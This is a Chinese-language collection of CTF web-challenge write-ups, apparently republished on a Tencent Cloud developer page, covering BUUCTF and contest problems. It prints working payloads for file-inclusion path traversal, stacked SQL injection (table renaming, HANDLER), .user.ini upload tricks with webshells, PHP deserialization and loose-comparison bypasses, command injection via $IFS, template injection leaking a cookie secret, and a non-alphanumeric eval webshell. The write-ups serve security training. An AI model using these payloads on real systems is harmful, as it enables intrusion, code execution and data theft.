平台web题目质量很高 有以往的一些比赛题目
右键查看源代码 发现 <!--source.php-->
访问source.php
发现源码 题目考察代码审计
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr( //mb_substr() 函数返回字符串的一部分
$page,
0,
mb_strpos($page . '?', '?')//查找字符串在另一个字符串中首次出现的位置
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
第一时间没有去分析源码而是去访问了hint.php
得到如下信息
flag not here, and flag in ffffllllaaaagggg
回头分析源码
首先file
必须存在且必须是字符串 之后源码去访问类里面的checkFile
方法 重点分析方法里面的内容
核心代码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
大致意思就是获取?前面的数据,截断?后面的数据
$_page = urldecode($page);
进行了一次url解码
所以我们构造payload如下
get会自行解码一次 程序里会自行解码一次所以我们把?进行两次编码
source.php?file=hint.php%253f/../../../../../../ffffllllaaaagggg
得到flag
flag{e6a6362a-6c69-402f-b469-63d39794be76}
2019强网杯的一道题目
输入
inject=1' union select 1,2 --+
发现 程序使用正则过滤了一些关键字
这里我们可以用堆叠注入
在mysql中前语句闭合分号结束后后面的语句也会被执行
inject=1';show databases;
可查询出所有数据库
inject=1';show tables;
查询当前数据库下所有表名
inject=1';show columns from `1919810931114514`;
有个坑
mysql中点引号( ‘ )和反勾号( ` )的区别
linux下不区分,windows下区分
区别: 单引号( ' )或双引号主要用于对字符串的引用符号 eg:mysql> SELECT 'hello', "hello" ;
反勾号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键] eg:`mysql>SELECT * FROM `table` WHERE `from` = 'abc' ;
这里当做表名 进行查询时需要加反引号 不然会查询不出来
查询出了flag字段名
正则过滤了select 无法查询字段数据。后看了师傅们的wp涨姿势了
题目一开始默认查询words表下的数据
猜测后端sql语句为
select * from words where id=$inject;
而程序又并未过滤alter
和rename
通过重命名把藏flag的表和列改成默认查询的表和列的名字 这样程序就会读到flag
payload:
inject=1'alter table `1919810931114514` add `id` int default 1;
//因为1919810931114514只有flag字段 没有id字段 所以我们添加一个id字段
rename table `words` to words1;
rename table `1919810931114514` to words;
//程序默认查询words表 所以我们把1919810931114514表名 改成words
suctf中的一题 当时没有写出来 出了官方wp后好好研究了一下
一个上传点 我想很多师傅想到的都是用.htaccess
吧 然而发现不行。。
后来看了wp涨姿势了
.user.ini
比.htaccess
用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法
上传一个.user.ini
内容为 因为程序会检测文件头所以要加一个GIF98a
GIF98a
auto_prepend_file = flag.jpg
指定同文件夹下的PHP都会包含flag.jpg
类似于使用了include 'flag.jpg'
这时候我们上传一个flag.php
程序还过滤了<?
不能写<?php xxx?>
用<script language='php'>xxx</script>
来绕过
当然内容也可以换成一句话
上传后 显示文件路径和文件列表 发现目录下存在index.php 这时候index.php应该是包含了flag.jpg里的内容 访问即可拿到flag
看到良好的备份网站习惯
url
上直接/www.zip
下载了网站源码
index.php里发现核心代码
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
考察反序列相关漏洞
不太了解的可以去看
先知上的这篇文章一文让PHP反序列化从入门到进阶
读了class.php
发现需要 username=admin
并且 password=100
才可以 还有一段核心代码
function __wakeup(){
$this->username = 'guest';
}
我们本地进行实例化
$a = new Name('admin',100);
$b = serialize($a);
print_r($b);
得到序列化后的字符串为
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
因为反序列化之前会先调用__wakeup()
当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
所以我们最终提交的payload为
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
题目较简单
考察PHP的特性
抓包 看到cookie user=0
替换成 user=1
绕过第一层
接下来看到源码里有一段
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
需要post
一个password
参数参数 是数字型还必须等于404 看似矛盾
利用==
特性password=404a
即可绕过
最后还需要传入monkey
参数 值必须大于100000000
直接
password=404aaa&money=100000000
会提示值的长度太长 这里科学计数法绕过
最终payload为
新生赛 比较简单考察的都是些基础姿势
右键查看源代码发现只是基于前端的验证直接把html保存到本地,之后把前端验证的js删除。然后修改一下前端的form
最后直接上传一个PHP文件注意后缀不能是.php因为被过滤了。这里直接使用.phtml上传一句话 蚁剑链接。根目录下存在flag文件
根据题目名猜测是命令执行
ls后发现当前目录存在flag.php文件想的是直接 cat index.php,cat flag.php但是却被过滤了空格这里使用IFS1来替代空格即可绕过IFS1的大概意思是一个制表符和一个换行。
读取index.php
的内容发现程序还用正则过滤了flag
关键字.绕过也很简单
ip=127.0.0.1;a=ag.php;b=fl;cat$IFS$1$b$a
具体可以参考我的这篇命令执行漏洞整理。详细的介绍了一些命令执行的姿势。
第一层我们用php://input
绕过。file参数后面用伪协议读取useless.php
的内容
useless.php
文件内容为
最后我们令file=useless.php
可以看到代码会反序列化password
传入的内容所以我们直接传入序列化字符串。代码反序列化以后则会打印flag值
最开始第一层想到了php://input 却没第一时间想到伪协议读取文件源码后来才想到。还是缺少想法,多刷题。。
题目涉及到一些sql注入的姿势 这里提一下
异或注入
异或也是一种逻辑运算。在MySQL里可以用 ^
或xor
来表示
xor
两个真做异或 结果为假
两个假做异或 结果为假
一个条件为真一个条件为假做异或结果才为真
null与真与假与null做异或结果都为null
打开题目发现有三个链接
内容分别为
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))
url的格式为http://dfc74aaa-c360-43e3-9ecd-19b3fe5da0f0.node3.buuoj.cn/file?filename=/flag.txt&filehash=a373eb0c3cd7f371d56587ba4844e347
第一反应应该是md5(cookie_secret+md5(filename))
的值就是相对应的filehash的值,只要提交/fllllllllllllag
和对应的filehash值,应该就可以拿到flag。这里有一个render
最开始没懂,百度了一下发现render是python中的一个渲染函数。
是一个Python的模板注入。首先我们要获取到cookie_secret才可以得到filehash的值。
Handler指向的处理当前这个页面的RequestHandler对象!
http://dfc74aaa-c360-43e3-9ecd-19b3fe5da0f0.node3.buuoj.cn/error?msg={{handler.settings}}
得到
'cookie_secret': '44a0e1e6-c525-40b2-b142-1535736f70d0'
最后去cmd5加密一下就好了
直接查看网页源代码发现了这串 ajax的请求
访问 calc.php
文件 获取到php源码
看到源码后 应该想到传参num
绕过正则去进行代码执行的操作。
经过测试这个waf是不允许在num
变量里面传入字母的只能是数字
也就是这样当我们输入
http://node3.buuoj.cn:27408/calc.php?num=a waf会触发 导致403
但是当我们这样 waf匹配的是num变量 而这个是 num%20这个变量
http://node3.buuoj.cn:27408/calc.php? num=a
因为PHP获取 GET/POST 参数时,会直接去除变量前的空格
scandir是列出目录下所有文件
我先在我本地尝试一下
//正常payload 被正则拦截
<?php
eval("echo "."var_dump(scandir('/'));".";");
?>
//ascii码绕过正则
<?php
eval("echo "."var_dump(scandir(chr(47)));".";");
?>
http://node3.buuoj.cn:27408/calc.php?%20num=var_dump(scandir(chr(47)));
http://node3.buuoj.cn:27408/calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
file_get_contents是把文件读入到一个字符串中。没必要用var_dump输出了因为是读入到一个字符串。最后利用echo输出即可
flag{7b0d0193-c15c-43aa-bf4a-9ed698e71e00}
验证文件后缀,并且验证了文件类型 和文件内容
这样进行绕过。传上去在后面价格upload/可以发现自己传的马
上面的都是谁传的我也不知道 哈哈哈。
这种题有种似曾相识的感觉。但是翻了下笔记却没有找到
最开始没有思路抓下包看看
select * from 'admin' where password=md5($pass,true)
我们需要提交参数为ffifdyop可以绕过。这个字符串被md5(‘ffifdyop’,true)是返回原始字符的16进制 这样进行加密以后我们得到了'or'6É]™é!r,ùíb
因为md5返回的字符串到时候 拼接成这个语句这就造成了类似万能密码的功能 or 返回真
select * from 'admin' where password=''or'6É]™é!r,ùíb'
绕过以后到达第二步
这种姿势我们入门那会应该都做过 不说了 直接找一个md5 为0e开头的不同字符串就好了
还有一种放方法因为 md5这个函数是无法处理数组的所以 提交数组都会返回NULL所以相等 那么我们也可以提交一个数组上去
4a5eec40-bb3d-49e1-a144-c62e1ae85f31.node3.buuoj.cn/levels91.php?a=QNKCDZO&b=240610708
4a5eec40-bb3d-49e1-a144-c62e1ae85f31.node3.buuoj.cn/levels91.php?a=[]1&b[]=21
还有第三步 ,这个的话 直接用我们上面的法2
这个题和 强网杯 随便注题目类似 但是 过滤增加了 alert 和 rename也就是说不能用 随便注的思路去修改表名,使其默认查询了
前面思路是类似的
1'show tables;
1';show columns from `FlagHere`;
接下来我们发现了 猫腻
这时候用到HANDLER语句
handler类似于select语句,但又不同于后者,它只能每次查询1次记录。
HANDLER tbl_name OPEN ; //打开这个表
HANDLER tbl_name read first; //查询这个表的第一条记录
HANDLER tbl_name read next; //查询这个表的下一条记录
HANDLER tbl_name CLOSE; //关闭这个表 如果不关闭可以一直next的
最终我们构造payload为
1';HANDLER FlagHere OPEN;HANDLER FlagHere read first;
现在一般的rce应该已经难不倒我了(小声bb)
首先看到源码
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
第一时间想到了取反。这时候看了下PHP的环境为php7心想稳了 因为只有php7可以动态执行函数。php5下就这个姿势就不成立了。具体参考p牛的这篇文章吧无字母数字webshell之提高篇
所以我们的payload为
http://391d456e-0cd9-4838-a5ba-a969c031da92.node3.buuoj.cn/?code=(~%8F%97%8F%96%91%99%90)();
get会自解码一次解码以后取反 最终获取到的就是phpinfo()
往下翻可以看到禁用了非常多的函数
因为禁用了disable_functions 所以直接蚁剑插件市场下载此插件即可绕过
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有